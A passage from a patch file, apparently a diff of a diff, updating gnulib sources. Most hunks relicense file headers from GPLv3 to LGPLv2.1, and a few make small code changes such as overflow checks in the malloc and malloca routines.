+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /*
+ * POSIX <langinfo.h> for platforms that lack it or have an incomplete one.
+--- a/gnulib/lib/lc-charset-dispatch.c
++++ b/gnulib/lib/lc-charset-dispatch.c
+@@ -1,17 +1,17 @@
+ /* Dispatching based on the current locale's character encoding.
+ Copyright (C) 2018-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2018. */
+--- a/gnulib/lib/lc-charset-dispatch.h
++++ b/gnulib/lib/lc-charset-dispatch.h
+@@ -1,17 +1,17 @@
+ /* Dispatching based on the current locale's character encoding.
+ Copyright (C) 2018-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2018. */
+--- a/gnulib/lib/libc-config.h
++++ b/gnulib/lib/libc-config.h
+@@ -3,16 +3,16 @@
+ Copyright 2017-2021 Free Software Foundation, Inc.
+
+ This program is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with this program; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -28,7 +28,10 @@
+
+ When compiled as part of glibc this is a no-op; when compiled as
+ part of Gnulib this includes Gnulib's <config.h> and defines macros
+- that glibc library code would normally assume. */
++ that glibc library code would normally assume.
++
++ Note: This header file MUST NOT be included by public header files
++ of Gnulib. */
+
+ #include <config.h>
+
+@@ -71,7 +74,7 @@
+ # endif
+ #endif
+
+-#ifndef __attribute_maybe_unused__
++#ifndef __attribute_nonnull__
+ /* <sys/cdefs.h> either does not exist, or is too old for Gnulib.
+ Prepare to include <cdefs.h>, which is Gnulib's version of a
+ more-recent glibc <sys/cdefs.h>. */
+@@ -80,13 +83,9 @@
+ # ifndef _FEATURES_H
+ # define _FEATURES_H 1
+ # endif
+-/* Define __WORDSIZE so that <cdefs.h> does not attempt to include
+- nonexistent files. Make it a syntax error, since Gnulib does not
+- use __WORDSIZE now, and if Gnulib uses it later the syntax error
+- will let us know that __WORDSIZE needs configuring. */
+-# ifndef __WORDSIZE
+-# define __WORDSIZE %%%
+-# endif
++/* Define __GNULIB_CDEFS so that <cdefs.h> does not attempt to include
++ nonexistent files. */
++# define __GNULIB_CDEFS
+ /* Undef the macros unconditionally defined by our copy of glibc
+ <sys/cdefs.h>, so that they do not clash with any system-defined
+ versions. */
+--- a/gnulib/lib/limits.in.h
++++ b/gnulib/lib/limits.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright 2016-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public License
+- as published by the Free Software Foundation; either version 3, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+ @PRAGMA_SYSTEM_HEADER@
+--- a/gnulib/lib/localcharset.c
++++ b/gnulib/lib/localcharset.c
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2000-2006, 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+
+--- a/gnulib/lib/localcharset.h
++++ b/gnulib/lib/localcharset.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2000-2003, 2009-2021 Free Software Foundation, Inc.
+ This file is part of the GNU CHARSET Library.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LOCALCHARSET_H
+ #define _LOCALCHARSET_H
+--- a/gnulib/lib/locale.in.h
++++ b/gnulib/lib/locale.in.h
+@@ -1,17 +1,17 @@
+ /* A POSIX <locale.h>.
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if __GNUC__ >= 3
+--- a/gnulib/lib/localeconv.c
++++ b/gnulib/lib/localeconv.c
+@@ -1,17 +1,17 @@
+ /* Query locale dependent information for formatting numbers.
+ Copyright (C) 2012-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/malloc.c
++++ b/gnulib/lib/malloc.c
+@@ -2,61 +2,50 @@
+
+ Copyright (C) 1997-1998, 2006-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Jim Meyering and Bruno Haible */
+
+ #define _GL_USE_STDLIB_ALLOC 1
+ #include <config.h>
+-/* Only the AC_FUNC_MALLOC macro defines 'malloc' already in config.h. */
+-#ifdef malloc
+-# define NEED_MALLOC_GNU 1
+-# undef malloc
+-/* Whereas the gnulib module 'malloc-gnu' defines HAVE_MALLOC_GNU. */
+-#elif GNULIB_MALLOC_GNU && !HAVE_MALLOC_GNU
+-# define NEED_MALLOC_GNU 1
+-#endif
+
+ #include <stdlib.h>
+
+-/* A function definition is only needed if NEED_MALLOC_GNU is defined above
+- or if the module 'malloc-posix' requests it. */
+-#if NEED_MALLOC_GNU || (GNULIB_MALLOC_POSIX && !HAVE_MALLOC_POSIX)
++#include <errno.h>
+
+-# include <errno.h>
++#include "xalloc-oversized.h"
+
+-/* Allocate an N-byte block of memory from the heap.
+- If N is zero, allocate a 1-byte block. */
++/* Allocate an N-byte block of memory from the heap, even if N is 0. */
+
+ void *
+ rpl_malloc (size_t n)
+ {
+- void *result;
+-
+-# if NEED_MALLOC_GNU
+ if (n == 0)
+ n = 1;
+-# endif
+
+- result = malloc (n);
++ if (xalloc_oversized (n, 1))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = malloc (n);
+
+-# if !HAVE_MALLOC_POSIX
++#if !HAVE_MALLOC_POSIX
+ if (result == NULL)
+ errno = ENOMEM;
+-# endif
++#endif
+
+ return result;
+ }
+-
+-#endif
+--- a/gnulib/lib/malloc/dynarray-skeleton.c
++++ b/gnulib/lib/malloc/dynarray-skeleton.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray.h
++++ b/gnulib/lib/malloc/dynarray.h
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_at_failure.c
++++ b/gnulib/lib/malloc/dynarray_at_failure.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_emplace_enlarge.c
++++ b/gnulib/lib/malloc/dynarray_emplace_enlarge.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_finalize.c
++++ b/gnulib/lib/malloc/dynarray_finalize.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_resize.c
++++ b/gnulib/lib/malloc/dynarray_resize.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloc/dynarray_resize_clear.c
++++ b/gnulib/lib/malloc/dynarray_resize_clear.c
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/malloca.c
++++ b/gnulib/lib/malloca.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 2003, 2006-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2003, 2018.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #define _GL_USE_STDLIB_ALLOC 1
+ #include <config.h>
+@@ -21,6 +21,8 @@
+ /* Specification. */
+ #include "malloca.h"
+
++#include "idx.h"
++#include "intprops.h"
+ #include "verify.h"
+
+ /* The speed critical point in this file is freea() applied to an alloca()
+@@ -45,9 +47,9 @@ mmalloca (size_t n)
+ #if HAVE_ALLOCA
+ /* Allocate one more word, used to determine the address to pass to freea(),
+ and room for the alignment ≡ sa_alignment_max mod 2*sa_alignment_max. */
+- size_t nplus = n + sizeof (small_t) + 2 * sa_alignment_max - 1;
+-
+- if (nplus >= n)
++ int plus = sizeof (small_t) + 2 * sa_alignment_max - 1;
++ idx_t nplus;
++ if (!INT_ADD_WRAPV (n, plus, &nplus) && !xalloc_oversized (nplus, 1))
+ {
+ char *mem = (char *) malloc (nplus);
+
+--- a/gnulib/lib/malloca.h
++++ b/gnulib/lib/malloca.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2003-2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2003.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MALLOCA_H
+ #define _MALLOCA_H
+@@ -76,9 +76,10 @@ extern void freea (void *p);
+
+ /* nmalloca(N,S) is an overflow-safe variant of malloca (N * S).
+ It allocates an array of N objects, each with S bytes of memory,
+- on the stack. S must be positive and N must be nonnegative.
++ on the stack. N and S should be nonnegative and free of side effects.
+ The array must be freed using freea() before the function returns. */
+-#define nmalloca(n, s) (xalloc_oversized (n, s) ? NULL : malloca ((n) * (s)))
++#define nmalloca(n, s) \
++ (xalloc_oversized (n, s) ? NULL : malloca ((n) * (size_t) (s)))
+
+
+ #ifdef __cplusplus
+--- a/gnulib/lib/mbchar.c
++++ b/gnulib/lib/mbchar.c
+@@ -1,16 +1,16 @@
+ /* Copyright (C) 2001, 2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+
+--- a/gnulib/lib/mbchar.h
++++ b/gnulib/lib/mbchar.h
+@@ -1,17 +1,17 @@
+ /* Multibyte character data type.
+ Copyright (C) 2001, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/mbiter.c
++++ b/gnulib/lib/mbiter.c
+@@ -1,3 +1,21 @@
++/* Iterating through multibyte strings: macros for multi-byte encodings.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define MBITER_INLINE _GL_EXTERN_INLINE
+ #include "mbiter.h"
+--- a/gnulib/lib/mbiter.h
++++ b/gnulib/lib/mbiter.h
+@@ -1,17 +1,17 @@
+ /* Iterating through multibyte strings: macros for multi-byte encodings.
+ Copyright (C) 2001, 2005, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>. */
+--- a/gnulib/lib/mbrtowc-impl-utf8.h
++++ b/gnulib/lib/mbrtowc-impl-utf8.h
+@@ -1,17 +1,17 @@
+ /* Convert multibyte character to wide character.
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2008. */
+@@ -96,7 +96,7 @@
+
+ if ((c2 ^ 0x80) < 0x40
+ && (c >= 0xf1 || c2 >= 0x90)
+- && (c < 0xf4 || (c == 0xf4 && c2 < 0x90)))
++ && (c < 0xf4 || (/* c == 0xf4 && */ c2 < 0x90)))
+ {
+ if (m == 2)
+ goto incomplete;
+--- a/gnulib/lib/mbrtowc-impl.h
++++ b/gnulib/lib/mbrtowc-impl.h
+@@ -1,17 +1,17 @@
+ /* Convert multibyte character to wide character.
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2008. */
+--- a/gnulib/lib/mbrtowc.c
++++ b/gnulib/lib/mbrtowc.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 1999-2002, 2005-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/mbscasecmp.c
++++ b/gnulib/lib/mbscasecmp.c
+@@ -3,17 +3,17 @@
+ Written by Bruno Haible <bruno@clisp.org>, 2005,
+ based on earlier glibc code.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
